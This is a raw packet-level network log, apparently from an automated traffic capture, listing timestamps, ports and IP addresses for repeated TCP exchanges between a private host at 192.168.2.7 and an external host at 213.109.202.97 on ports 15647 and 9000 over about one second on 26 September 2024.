Sep 26, 2024 01:49:28.520848989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.526492119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.526581049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.531752110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.531827927 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.536755085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.536825895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.541676044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.541742086 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.546525955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.546577930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.551357985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.551440001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.556509018 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.556561947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.561327934 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.561382055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.566237926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.566287041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.571613073 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.571660995 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.576765060 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.576814890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.581731081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.581775904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.586720943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.586775064 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.591789007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.591834068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.596877098 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.596925020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.601851940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.601897955 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.606901884 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.606959105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.612293005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.612442970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.619298935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.619358063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.625116110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.625165939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.630673885 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.630731106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.635724068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.635772943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.640842915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.640892982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.645836115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.645886898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.650780916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.650826931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.655630112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.655684948 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.666595936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.666656017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.671564102 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.671626091 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.676495075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.676541090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.681600094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.681657076 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.686487913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.686539888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.691405058 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.691451073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.696233988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.696285009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.701072931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.701116085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.706119061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.706168890 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.711096048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.711147070 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.716033936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.716078997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.720885038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.720933914 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.725698948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.725747108 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.730633020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.730679035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.735486031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.735534906 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.740374088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.740417004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.745354891 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.745407104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.750193119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.750242949 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.755023003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.755070925 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.759963989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.760011911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.764781952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.764834881 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.769645929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.769711971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.774525881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.774591923 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.779376984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.779474974 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.784282923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.788465023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.793276072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.795669079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.800421000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.803539991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.809390068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.811820984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.816715002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.819631100 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.824469090 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.824708939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.829596996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.830914021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.835731983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.836030960 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.840830088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.842281103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.847079992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.847729921 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.852487087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.853940964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.858711004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.858786106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.863533020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.863703966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.868571043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.868613005 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.873385906 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.875209093 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.879945040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.880047083 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.884789944 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.886187077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.890979052 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.891048908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.895863056 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.896055937 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.900804996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.900851011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.905632973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.905740023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.910629988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.910702944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.915496111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.915556908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.920330048 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.921516895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.926352024 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.926400900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.931219101 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.931289911 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.936064959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.936119080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.940944910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.941538095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.946352005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.949539900 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.954334021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.957540035 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.962347031 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.965507984 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.970313072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.970614910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.975405931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.977520943 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.982327938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.982742071 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.987643957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.987796068 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.992610931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.992685080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:28.997431040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:28.997490883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.002751112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.004028082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.008934021 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.009532928 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.014324903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.017544985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.022289038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.023853064 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.028650045 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.032533884 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.037321091 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.039638042 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.044589996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.047627926 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.052586079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.055551052 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.060302019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.063637972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.068422079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.071557045 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.076309919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.079543114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.084341049 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.087548971 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.092427969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.095639944 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.100419998 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.103553057 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.108391047 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.113581896 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.118446112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.119610071 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.124392033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.127758980 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.132577896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.135628939 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.140400887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.143582106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.148405075 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.151639938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.156374931 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.159545898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.164366007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.166038036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.170773029 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.171571016 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.176398993 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.179617882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.184459925 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.187623978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.192428112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.329245090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.334088087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.354984999 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.360110044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.500499010 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.505783081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.545897007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.550714016 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.560703993 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.565517902 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.566055059 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.570864916 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.571476936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.576261044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.576461077 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.581300020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.582962036 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.587763071 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.590914011 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.595702887 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.597801924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.602636099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.602686882 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.607482910 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.607532978 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.612317085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.612375975 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.617183924 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.619843006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.624638081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.624713898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.629501104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.629748106 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.634525061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.635164976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.639940977 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.639986992 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.644828081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.645598888 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.650393963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.651563883 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.656336069 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.656383038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.667812109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.667871952 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.672697067 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.674748898 CEST	9000	58389	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.674834967 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.675596952 CEST	58389	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.675596952 CEST	58389	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.679636955 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.680386066 CEST	9000	58389	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.680582047 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.685389042 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.685668945 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.690473080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.691188097 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.695966005 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.696018934 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.700794935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.700854063 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.705749989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.706059933 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.721271992 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.721337080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.726169109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.726577044 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.731710911 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.731775999 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.737023115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.737313986 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.742119074 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.742202997 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.747020960 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.747092009 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.752070904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.752288103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.757291079 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.757345915 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.762211084 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.762687922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.767642975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.767714024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.772697926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.773060083 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.777949095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.777998924 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.779136896 CEST	58395	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.782840014 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.783518076 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.783966064 CEST	9000	58395	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.784034014 CEST	58395	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.784120083 CEST	58395	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.788402081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.788482904 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.788902998 CEST	9000	58395	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.793313026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.793358088 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:29.798237085 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:29.798293114 CEST	58394	15647	192.168.2.7	213.109.202.97
